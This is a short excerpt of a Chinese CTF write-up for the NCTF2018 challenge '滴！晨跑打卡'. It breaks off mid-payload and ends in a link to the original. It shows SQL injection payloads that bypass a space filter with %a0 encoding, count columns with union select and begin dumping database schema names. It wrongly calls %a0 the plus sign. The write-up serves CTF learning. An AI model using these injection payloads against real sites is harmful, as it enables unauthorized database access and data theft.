NCTF2018部分题WP（2）

第一题：滴！晨跑打卡 这道题过滤了空格，但是可以使用url编码来绕过，这里我们可以使用%a0，也就是加号来绕过。 首先查列数： 编码：1%27%a0union%a0select%a01,2,3%27# 很明显可以查出是三列。 然后就是查数据库名： 编码：id=1%27%a0union%a0select%a01,(SELECT%a0GROUP_CONCAT(SCHEMA_NAME)%a0FROM%a

>>阅读原文<<